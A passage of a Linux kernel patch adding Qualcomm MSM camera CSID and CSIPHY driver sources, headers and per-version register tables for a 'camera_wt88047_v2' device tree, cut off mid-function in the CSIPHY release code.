request_irq(new_csid_dev->irq->start, msm_csid_irq, + IRQF_TRIGGER_RISING, "csid", new_csid_dev); + if (rc < 0) { + release_mem_region(new_csid_dev->mem->start, + resource_size(new_csid_dev->mem)); + pr_err("%s: irq request fail\n", __func__); + rc = -EBUSY; + goto csid_no_resource; + } + disable_irq(new_csid_dev->irq->start); + if (rc < 0) { + release_mem_region(new_csid_dev->mem->start, + resource_size(new_csid_dev->mem)); + pr_err("%s Error registering irq ", __func__); + goto csid_no_resource; + } + + if (of_device_is_compatible(new_csid_dev->pdev->dev.of_node, + "qcom,csid-v2.0")) { + new_csid_dev->ctrl_reg->csid_reg = csid_v2_0; + new_csid_dev->hw_dts_version = CSID_VERSION_V20; + } else if (of_device_is_compatible(new_csid_dev->pdev->dev.of_node, + "qcom,csid-v2.2")) { + new_csid_dev->ctrl_reg->csid_reg = csid_v2_2; + new_csid_dev->hw_dts_version = CSID_VERSION_V22; + } else if (of_device_is_compatible(new_csid_dev->pdev->dev.of_node, + "qcom,csid-v3.0")) { + new_csid_dev->ctrl_reg->csid_reg = csid_v3_0; + new_csid_dev->hw_dts_version = CSID_VERSION_V30; + } else if (of_device_is_compatible(new_csid_dev->pdev->dev.of_node, + "qcom,csid-v4.0")) { + new_csid_dev->ctrl_reg->csid_reg = csid_v3_0; + new_csid_dev->hw_dts_version = CSID_VERSION_V40; + } else if (of_device_is_compatible(new_csid_dev->pdev->dev.of_node, + "qcom,csid-v3.1")) { + new_csid_dev->ctrl_reg->csid_reg = csid_v3_1; + new_csid_dev->hw_dts_version = CSID_VERSION_V31; + } else if (of_device_is_compatible(new_csid_dev->pdev->dev.of_node, + "qcom,csid-v3.2")) { + new_csid_dev->ctrl_reg->csid_reg = csid_v3_2; + new_csid_dev->hw_dts_version = CSID_VERSION_V32; + } else { + pr_err("%s:%d, invalid hw version : 0x%x", __func__, __LINE__, + new_csid_dev->hw_dts_version); + return -EINVAL; + } + + new_csid_dev->csid_state = CSID_POWER_DOWN; + return 0; + +csid_no_resource: + mutex_destroy(&new_csid_dev->mutex); + kfree(new_csid_dev->ctrl_reg); + kfree(new_csid_dev); + return 0; +} + +static const struct of_device_id msm_csid_dt_match[] = { + {.compatible = "qcom,csid"}, + {} +}; + +MODULE_DEVICE_TABLE(of, msm_csid_dt_match); + +static struct platform_driver csid_driver = { + .probe = csid_probe, + .driver = { + .name = MSM_CSID_DRV_NAME, + .owner = THIS_MODULE, + .of_match_table = msm_csid_dt_match, + }, +}; + +static int __init msm_csid_init_module(void) +{ + return platform_driver_register(&csid_driver); +} + +static void __exit msm_csid_exit_module(void) +{ + platform_driver_unregister(&csid_driver); +} + +module_init(msm_csid_init_module); +module_exit(msm_csid_exit_module); +MODULE_DESCRIPTION("MSM CSID driver"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.h new file mode 100644 index 0000000000000..c2770157b22da --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.h @@ -0,0 +1,92 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CSID_H +#define MSM_CSID_H + +#include +#include +#include +#include +#include +#include "msm_sd.h" + +struct csid_reg_parms_t { +/* MIPI CSID registers */ + uint32_t csid_hw_version_addr; + uint32_t csid_core_ctrl_0_addr; + uint32_t csid_core_ctrl_1_addr; + uint32_t csid_rst_cmd_addr; + uint32_t csid_cid_lut_vc_0_addr; + uint32_t csid_cid_lut_vc_1_addr; + uint32_t csid_cid_lut_vc_2_addr; + uint32_t csid_cid_lut_vc_3_addr; + uint32_t csid_cid_n_cfg_addr; + uint32_t csid_irq_clear_cmd_addr; + uint32_t csid_irq_mask_addr; + uint32_t csid_irq_status_addr; + uint32_t csid_captured_unmapped_long_pkt_hdr_addr; + uint32_t csid_captured_mmaped_long_pkt_hdr_addr; + uint32_t csid_captured_short_pkt_addr; + uint32_t csid_captured_long_pkt_hdr_addr; + uint32_t csid_captured_long_pkt_ftr_addr; + uint32_t csid_pif_misr_dl0_addr; + uint32_t csid_pif_misr_dl1_addr; + uint32_t csid_pif_misr_dl2_addr; + uint32_t csid_pif_misr_dl3_addr; + uint32_t csid_stats_total_pkts_rcvd_addr; + uint32_t csid_stats_ecc_addr; + uint32_t csid_stats_crc_addr; + uint32_t csid_tg_ctrl_addr; + uint32_t csid_tg_vc_cfg_addr; + uint32_t csid_tg_dt_n_cfg_0_addr; + uint32_t csid_tg_dt_n_cfg_1_addr; + uint32_t csid_tg_dt_n_cfg_2_addr; + uint32_t csid_rst_done_irq_bitshift; + uint32_t csid_rst_stb_all; + uint32_t csid_dl_input_sel_shift; + uint32_t csid_phy_sel_shift; + uint32_t csid_version; +}; + +struct csid_ctrl_t { + struct csid_reg_parms_t csid_reg; +}; + +enum msm_csid_state_t { + CSID_POWER_UP, + CSID_POWER_DOWN, +}; + +struct csid_device { + struct platform_device *pdev; + struct msm_sd_subdev msm_sd; + struct resource *mem; + struct resource *irq; + struct resource *io; + struct regulator *csi_vdd; + void __iomem *base; + struct mutex mutex; + struct completion reset_complete; + uint32_t hw_version; + uint32_t hw_dts_version; + enum msm_csid_state_t csid_state; + struct csid_ctrl_t *ctrl_reg; + uint32_t num_clk; + uint32_t num_clk_src_info; + + struct clk *csid_clk[11]; +}; + +#define VIDIOC_MSM_CSID_RELEASE \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 5, struct v4l2_subdev*) +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/Makefile new file mode 100644 index 0000000000000..d18bbf80643d9 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/Makefile @@ -0,0 +1,3 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +obj-$(CONFIG_MSM_CSIPHY) += msm_csiphy.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_0_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_0_hwreg.h new file mode 100644 index 0000000000000..5abf99123365c --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_0_hwreg.h @@ -0,0 +1,46 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CSIPHY_2_0_HWREG_H +#define MSM_CSIPHY_2_0_HWREG_H + +#include "msm_csiphy.h" + +struct csiphy_reg_parms_t csiphy_v2_0 = { + /*MIPI CSI PHY registers*/ + 0x17C, + 0x0, + 0x4, + 0x8, + 0xC, + 0x10, + 0x100, + 0x104, + 0x108, + 0x10C, + 0x110, + 0x128, + 0x140, + 0x144, + 0x164, + 0x180, + 0x1A0, + 0x6F, + 0x1A4, + 0x1C0, + 0x1C4, + 0x4, + 0x1E0, + 0x1E8, + 0x0, +}; +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_2_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_2_hwreg.h new file mode 100644 index 0000000000000..8682478f7e989 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_2_hwreg.h @@ -0,0 +1,46 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CSIPHY_2_2_HWREG_H +#define MSM_CSIPHY_2_2_HWREG_H + +#include "msm_csiphy.h" + +struct csiphy_reg_parms_t csiphy_v2_2 = { + /*MIPI CSI PHY registers*/ + 0x17C, + 0x0, + 0x4, + 0x8, + 0xC, + 0x10, + 0x100, + 0x104, + 0x108, + 0x10C, + 0x110, + 0x128, + 0x140, + 0x144, + 0x164, + 0x180, + 0x1A0, + 0x6F, + 0x1A4, + 0x1C0, + 0x1C4, + 0x4, + 0x1E0, + 0x1E8, + 0x1, +}; +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_0_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_0_hwreg.h new file mode 100644 index 0000000000000..af4d3e03a7ceb --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_0_hwreg.h @@ -0,0 +1,46 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CSIPHY_3_0_HWREG_H +#define MSM_CSIPHY_3_0_HWREG_H + +#include "msm_csiphy.h" + +struct csiphy_reg_parms_t csiphy_v3_0 = { + /*MIPI CSI PHY registers*/ + 0x0, + 0x4, + 0x8, + 0xC, + 0x10, + 0x100, + 0x104, + 0x108, + 0x10C, + 0x110, + 0x128, + 0x140, + 0x144, + 0x164, + 0x188, + 0x18C, + 0x1AC, + 0x3F, + 0x1AC, + 0x1CC, + 0x1CC, + 0x4, + 0x1EC, + 0x1F4, + 0x10, +}; +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h new file mode 100644 index 0000000000000..c80a7c748fc61 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h @@ -0,0 +1,46 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CSIPHY_3_1_HWREG_H +#define MSM_CSIPHY_3_1_HWREG_H + +#include "msm_csiphy.h" + +struct csiphy_reg_parms_t csiphy_v3_1 = { + /*MIPI CSI PHY registers*/ + 0x0, + 0x4, + 0x8, + 0xC, + 0x10, + 0x100, + 0x104, + 0x108, + 0x10C, + 0x110, + 0x128, + 0x140, + 0x144, + 0x164, + 0x188, + 0x18C, + 0x1AC, + 0x3F, + 0x1AC, + 0x1CC, + 0x1CC, + 0x4, + 0x1EC, + 0x1F4, + 0x31, +}; +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_2_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_2_hwreg.h new file mode 100644 index 0000000000000..19f14e73a92cb --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_2_hwreg.h @@ -0,0 +1,46 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CSIPHY_3_2_HWREG_H +#define MSM_CSIPHY_3_2_HWREG_H + +#include "msm_csiphy.h" + +struct csiphy_reg_parms_t csiphy_v3_2 = { + /*MIPI CSI PHY registers*/ + 0x0, + 0x4, + 0x8, + 0xC, + 0x10, + 0x100, + 0x104, + 0x108, + 0x10C, + 0x110, + 0x128, + 0x140, + 0x144, + 0x164, + 0x188, + 0x18C, + 0x1AC, + 0x3F, + 0x1AC, + 0x1CC, + 0x1CC, + 0x4, + 0x1EC, + 0x1F4, + 0x32, +}; +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.c new file mode 100644 index 0000000000000..69f0b2d1a2916 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.c @@ -0,0 +1,868 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include +#include +#include "msm_csiphy.h" +#include "msm_sd.h" +#include "msm_camera_io_util.h" +#include "include/msm_csiphy_2_0_hwreg.h" +#include "include/msm_csiphy_2_2_hwreg.h" +#include "include/msm_csiphy_3_0_hwreg.h" +#include "include/msm_csiphy_3_1_hwreg.h" +#include "include/msm_csiphy_3_2_hwreg.h" + +#define DBG_CSIPHY 0 + +#define V4L2_IDENT_CSIPHY 50003 +#define CSIPHY_VERSION_V22 0x01 +#define CSIPHY_VERSION_V20 0x00 +#define CSIPHY_VERSION_V30 0x10 +#define CSIPHY_VERSION_V31 0x31 +#define CSIPHY_VERSION_V32 0x32 +#define MSM_CSIPHY_DRV_NAME "msm_csiphy" + +#define CSIPHY_NUM_CLK_MAX 16 + +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif +static struct msm_cam_clk_info csiphy_clk_info[CSIPHY_NUM_CLK_MAX]; + +static int msm_csiphy_lane_config(struct csiphy_device *csiphy_dev, + struct msm_camera_csiphy_params *csiphy_params) +{ + int rc = 0; + int j = 0; + uint32_t val = 0; + uint8_t lane_cnt = 0; + uint16_t lane_mask = 0; + void __iomem *csiphybase; + uint8_t csiphy_id = csiphy_dev->pdev->id; + csiphybase = csiphy_dev->base; + if (!csiphybase) { + pr_err("%s: csiphybase NULL\n", __func__); + return -EINVAL; + } + + csiphy_dev->lane_mask[csiphy_id] |= csiphy_params->lane_mask; + lane_mask = csiphy_dev->lane_mask[csiphy_id]; + lane_cnt = csiphy_params->lane_cnt; + if (csiphy_params->lane_cnt < 1 || csiphy_params->lane_cnt > 4) { + pr_err("%s: unsupported lane cnt %d\n", + __func__, csiphy_params->lane_cnt); + return rc; + } + + CDBG("%s csiphy_params, mask = 0x%x cnt = %d\n", + __func__, + csiphy_params->lane_mask, + csiphy_params->lane_cnt); + CDBG("%s csiphy_params, settle cnt = 0x%x csid %d\n", + __func__, csiphy_params->settle_cnt, + csiphy_params->csid_core); + + if (csiphy_dev->hw_version >= CSIPHY_VERSION_V30) { + val = msm_camera_io_r(csiphy_dev->clk_mux_base); + if (csiphy_params->combo_mode && + (csiphy_params->lane_mask & 0x18)) { + val &= ~0xf0; + val |= csiphy_params->csid_core << 4; + } else { + val &= ~0xf; + val |= csiphy_params->csid_core; + } + msm_camera_io_w(val, csiphy_dev->clk_mux_base); + CDBG("%s clk mux addr %p val 0x%x\n", __func__, + csiphy_dev->clk_mux_base, val); + mb(); + } + msm_camera_io_w(0x1, csiphybase + csiphy_dev->ctrl_reg-> + csiphy_reg.mipi_csiphy_glbl_t_init_cfg0_addr); + msm_camera_io_w(0x1, csiphybase + csiphy_dev->ctrl_reg-> + csiphy_reg.mipi_csiphy_t_wakeup_cfg0_addr); + + if (csiphy_dev->hw_version < CSIPHY_VERSION_V30) { + val = 0x3; + msm_camera_io_w((lane_mask << 2) | val, + csiphybase + + csiphy_dev->ctrl_reg-> + csiphy_reg.mipi_csiphy_glbl_pwr_cfg_addr); + msm_camera_io_w(0x10, csiphybase + + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_lnck_cfg2_addr); + msm_camera_io_w(csiphy_params->settle_cnt, + csiphybase + + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_lnck_cfg3_addr); + msm_camera_io_w(0x24, + csiphybase + csiphy_dev->ctrl_reg-> + csiphy_reg.mipi_csiphy_interrupt_mask0_addr); + msm_camera_io_w(0x24, + csiphybase + csiphy_dev->ctrl_reg-> + csiphy_reg.mipi_csiphy_interrupt_clear0_addr); + } else { + val = 0x1; + msm_camera_io_w((lane_mask << 1) | val, + csiphybase + + csiphy_dev->ctrl_reg-> + csiphy_reg.mipi_csiphy_glbl_pwr_cfg_addr); + msm_camera_io_w(csiphy_params->combo_mode << + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_mode_config_shift, + csiphybase + + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_glbl_reset_addr); + } + + lane_mask &= 0x1f; + while (lane_mask & 0x1f) { + if (!(lane_mask & 0x1)) { + j++; + lane_mask >>= 1; + continue; + } + msm_camera_io_w(0x10, + csiphybase + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_lnn_cfg2_addr + 0x40*j); + msm_camera_io_w(csiphy_params->settle_cnt, + csiphybase + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_lnn_cfg3_addr + 0x40*j); + msm_camera_io_w(csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_interrupt_mask_val, csiphybase + + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_interrupt_mask_addr + 0x4*j); + msm_camera_io_w(csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_interrupt_mask_val, csiphybase + + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_interrupt_clear_addr + 0x4*j); + j++; + lane_mask >>= 1; + } + return rc; +} + +static irqreturn_t msm_csiphy_irq(int irq_num, void *data) +{ + uint32_t irq; + int i; + struct csiphy_device *csiphy_dev = data; + + for (i = 0; i < 8; i++) { + irq = msm_camera_io_r( + csiphy_dev->base + + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_interrupt_status0_addr + 0x4*i); + msm_camera_io_w(irq, + csiphy_dev->base + + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_interrupt_clear0_addr + 0x4*i); + pr_err("%s MIPI_CSIPHY%d_INTERRUPT_STATUS%d = 0x%x\n", + __func__, csiphy_dev->pdev->id, i, irq); + msm_camera_io_w(0x1, csiphy_dev->base + + csiphy_dev->ctrl_reg-> + csiphy_reg.mipi_csiphy_glbl_irq_cmd_addr); + msm_camera_io_w(0x0, csiphy_dev->base + + csiphy_dev->ctrl_reg-> + csiphy_reg.mipi_csiphy_glbl_irq_cmd_addr); + msm_camera_io_w(0x0, + csiphy_dev->base + + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_interrupt_clear0_addr + 0x4*i); + } + return IRQ_HANDLED; +} + +static void msm_csiphy_reset(struct csiphy_device *csiphy_dev) +{ + msm_camera_io_w(0x1, csiphy_dev->base + + csiphy_dev->ctrl_reg->csiphy_reg.mipi_csiphy_glbl_reset_addr); + usleep_range(5000, 8000); + msm_camera_io_w(0x0, csiphy_dev->base + + csiphy_dev->ctrl_reg->csiphy_reg.mipi_csiphy_glbl_reset_addr); +} + +static int msm_csiphy_subdev_g_chip_ident(struct v4l2_subdev *sd, + struct v4l2_dbg_chip_ident *chip) +{ + BUG_ON(!chip); + chip->ident = V4L2_IDENT_CSIPHY; + chip->revision = 0; + return 0; +} + +#if DBG_CSIPHY +static int msm_csiphy_init(struct csiphy_device *csiphy_dev) +{ + int rc = 0; + if (csiphy_dev == NULL) { + pr_err("%s: csiphy_dev NULL\n", __func__); + rc = -ENOMEM; + return rc; + } + + CDBG("%s:%d called\n", __func__, __LINE__); + if (csiphy_dev->csiphy_state == CSIPHY_POWER_UP) { + pr_err("%s: csiphy invalid state %d\n", __func__, + csiphy_dev->csiphy_state); + rc = -EINVAL; + return rc; + } + CDBG("%s:%d called\n", __func__, __LINE__); + + if (csiphy_dev->ref_count++) { + CDBG("%s csiphy refcount = %d\n", __func__, + csiphy_dev->ref_count); + return rc; + } + CDBG("%s:%d called\n", __func__, __LINE__); + + csiphy_dev->base = ioremap(csiphy_dev->mem->start, + resource_size(csiphy_dev->mem)); + if (!csiphy_dev->base) { + pr_err("%s: csiphy_dev->base NULL\n", __func__); + csiphy_dev->ref_count--; + rc = -ENOMEM; + return rc; + } + CDBG("%s:%d called\n", __func__, __LINE__); + + if (csiphy_dev->hw_dts_version < CSIPHY_VERSION_V30) { + rc = msm_cam_clk_enable(&csiphy_dev->pdev->dev, + csiphy_clk_info, csiphy_dev->csiphy_clk, + csiphy_dev->num_clk, 1); + } else if (csiphy_dev->hw_dts_version >= CSIPHY_VERSION_V30) { + if (!csiphy_dev->clk_mux_mem || !csiphy_dev->clk_mux_io) { + pr_err("%s clk mux mem %p io %p\n", __func__, + csiphy_dev->clk_mux_mem, + csiphy_dev->clk_mux_io); + rc = -ENOMEM; + return rc; + } + csiphy_dev->clk_mux_base = ioremap( + csiphy_dev->clk_mux_mem->start, + resource_size(csiphy_dev->clk_mux_mem)); + if (!csiphy_dev->clk_mux_base) { + pr_err("%s: ERROR %d\n", __func__, __LINE__); + rc = -ENOMEM; + return rc; + } + + CDBG("%s:%d called\n", __func__, __LINE__); + rc = msm_cam_clk_enable(&csiphy_dev->pdev->dev, + csiphy_clk_info, csiphy_dev->csiphy_clk, + csiphy_dev->num_clk, 1); + } else { + pr_err("%s: ERROR Invalid CSIPHY Version %d", + __func__, __LINE__); + rc = -EINVAL; + return rc; + } + + CDBG("%s:%d called\n", __func__, __LINE__); + if (rc < 0) { + pr_err("%s: csiphy clk enable failed\n", __func__); + csiphy_dev->ref_count--; + iounmap(csiphy_dev->base); + csiphy_dev->base = NULL; + return rc; + } + CDBG("%s:%d called\n", __func__, __LINE__); + + enable_irq(csiphy_dev->irq->start); + + msm_csiphy_reset(csiphy_dev); + + CDBG("%s:%d called\n", __func__, __LINE__); + + if (csiphy_dev->hw_dts_version == CSIPHY_VERSION_V30) + csiphy_dev->hw_version = + msm_camera_io_r(csiphy_dev->base + + csiphy_dev->ctrl_reg-> + csiphy_reg.mipi_csiphy_hw_version_addr); + else + csiphy_dev->hw_version = csiphy_dev->hw_dts_version; + + CDBG("%s:%d called csiphy_dev->hw_version 0x%x\n", __func__, __LINE__, + csiphy_dev->hw_version); + csiphy_dev->csiphy_state = CSIPHY_POWER_UP; + return 0; +} +#else +static int msm_csiphy_init(struct csiphy_device *csiphy_dev) +{ + int rc = 0; + if (csiphy_dev == NULL) { + pr_err("%s: csiphy_dev NULL\n", __func__); + rc = -ENOMEM; + return rc; + } + + CDBG("%s:%d called\n", __func__, __LINE__); + if (csiphy_dev->csiphy_state == CSIPHY_POWER_UP) { + pr_err("%s: csiphy invalid state %d\n", __func__, + csiphy_dev->csiphy_state); + rc = -EINVAL; + return rc; + } + CDBG("%s:%d called\n", __func__, __LINE__); + + if (csiphy_dev->ref_count++) { + CDBG("%s csiphy refcount = %d\n", __func__, + csiphy_dev->ref_count); + return rc; + } + CDBG("%s:%d called\n", __func__, __LINE__); + + csiphy_dev->base = ioremap(csiphy_dev->mem->start, + resource_size(csiphy_dev->mem)); + if (!csiphy_dev->base) { + pr_err("%s: csiphy_dev->base NULL\n", __func__); + csiphy_dev->ref_count--; + rc = -ENOMEM; + return rc; + } + if (csiphy_dev->hw_dts_version <= CSIPHY_VERSION_V22) { + CDBG("%s:%d called\n", __func__, __LINE__); + rc = msm_cam_clk_enable(&csiphy_dev->pdev->dev, + csiphy_clk_info, csiphy_dev->csiphy_clk, + csiphy_dev->num_clk, 1); + } else if (csiphy_dev->hw_dts_version >= CSIPHY_VERSION_V30) { + if (!csiphy_dev->clk_mux_mem || !csiphy_dev->clk_mux_io) { + pr_err("%s clk mux mem %p io %p\n", __func__, + csiphy_dev->clk_mux_mem, + csiphy_dev->clk_mux_io); + rc = -ENOMEM; + return rc; + } + csiphy_dev->clk_mux_base = ioremap( + csiphy_dev->clk_mux_mem->start, + resource_size(csiphy_dev->clk_mux_mem)); + if (!csiphy_dev->clk_mux_base) { + pr_err("%s: ERROR %d\n", __func__, __LINE__); + rc = -ENOMEM; + return rc; + } + CDBG("%s:%d called\n", __func__, __LINE__); + rc = msm_cam_clk_enable(&csiphy_dev->pdev->dev, + csiphy_clk_info, csiphy_dev->csiphy_clk, + csiphy_dev->num_clk, 1); + } else { + pr_err("%s: ERROR Invalid CSIPHY Version %d", + __func__, __LINE__); + rc = -EINVAL; + return rc; + } + + CDBG("%s:%d called\n", __func__, __LINE__); + if (rc < 0) { + pr_err("%s: csiphy clk enable failed\n", __func__); + csiphy_dev->ref_count--; + iounmap(csiphy_dev->base); + csiphy_dev->base = NULL; + return rc; + } + CDBG("%s:%d called\n", __func__, __LINE__); + + msm_csiphy_reset(csiphy_dev); + + CDBG("%s:%d called\n", __func__, __LINE__); + + if (csiphy_dev->hw_dts_version == CSIPHY_VERSION_V30) + csiphy_dev->hw_version = + msm_camera_io_r(csiphy_dev->base + + csiphy_dev->ctrl_reg-> + csiphy_reg.mipi_csiphy_hw_version_addr); + else + csiphy_dev->hw_version = csiphy_dev->hw_dts_version; + + CDBG("%s:%d called csiphy_dev->hw_version 0x%x\n", __func__, __LINE__, + csiphy_dev->hw_version); + csiphy_dev->csiphy_state = CSIPHY_POWER_UP; + return 0; +} +#endif + +#if DBG_CSIPHY +static int msm_csiphy_release(struct csiphy_device *csiphy_dev, void *arg) +{ + int i = 0; + struct msm_camera_csi_lane_params *csi_lane_params; + uint16_t csi_lane_mask; + csi_lane_params = (struct msm_camera_csi_lane_params *)arg; + + if (!csiphy_dev || !csiphy_dev->ref_count) { + pr_err("%s csiphy dev NULL / ref_count ZERO\n", __func__); + return 0; + } + + if (csiphy_dev->csiphy_state != CSIPHY_POWER_UP) { + pr_err("%s: csiphy invalid state %d\n", __func__, + csiphy_dev->csiphy_state); + return -EINVAL; + } + + if (csiphy_dev->hw_version < CSIPHY_VERSION_V30) { + csiphy_dev->lane_mask[csiphy_dev->pdev->id] = 0; + for (i = 0; i < 4; i++) + msm_camera_io_w(0x0, csiphy_dev->base + + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_lnn_cfg2_addr + 0x40*i); + } else { + if (!csi_lane_params) { + pr_err("%s:%d failed: csi_lane_params %p\n", __func__, + __LINE__, csi_lane_params); + return -EINVAL; + } + csi_lane_mask = (csi_lane_params->csi_lane_mask & 0x1F); + + CDBG("%s csiphy_params, lane assign 0x%x mask = 0x%x\n", + __func__, + csi_lane_params->csi_lane_assign, + csi_lane_params->csi_lane_mask); + + if (!csi_lane_mask) + csi_lane_mask = 0x1f; + + csiphy_dev->lane_mask[csiphy_dev->pdev->id] &= + ~(csi_lane_mask); + i = 0; + while (csi_lane_mask) { + if (csi_lane_mask & 0x1) { + msm_camera_io_w(0x0, csiphy_dev->base + + csiphy_dev->ctrl_reg->csiphy_reg. + mipi_csiphy_lnn_cfg2_addr + 0x40*i); + } + csi_lane_mask >>= 1; + i++; + } + } + + if (--csiphy_dev->ref_count) { + CDBG("%s csiphy refcount = %d\n", __func__, + csiphy_dev->ref_count); + return 0; + } + + msm_camera_io_w(0x0, csiphy_dev->base + + csiphy_dev->ctrl_reg->csiphy_reg.mipi_csiphy_lnck_cfg2_addr); + msm_camera_io_w(0x0, csiphy_dev->base + + csiphy_dev->ctrl_reg->csiphy_reg.mipi_csiphy_glbl_pwr_cfg_addr); + + disable_irq(csiphy_dev->irq->start); + + if (csiphy_dev->hw_dts_version <= CSIPHY_VERSION_V22) { + msm_cam_clk_enable(&csiphy_dev->pdev->dev, + csiphy_clk_info, csiphy_dev->csiphy_clk, + csiphy_dev->num_clk, 0); + } else if (csiphy_dev->hw_dts_version >= CSIPHY_VERSION_V30) { + msm_cam_clk_enable(&csiphy_dev->pdev->dev, + csiphy_clk_info, csiphy_dev->csiphy_clk, + csiphy_dev->num_clk, 0); + iounmap(csiphy_dev->clk_mux_base); + } + iounmap(csiphy_dev->base); + csiphy_dev->base = NULL; + csiphy_dev->csiphy_state = CSIPHY_POWER_DOWN; + return 0; +} +#else +static int msm_csiphy_release(struct csiphy_device *csiphy_dev, void *arg) +{ + int i = 0; + struct msm_camera_csi_lane_params 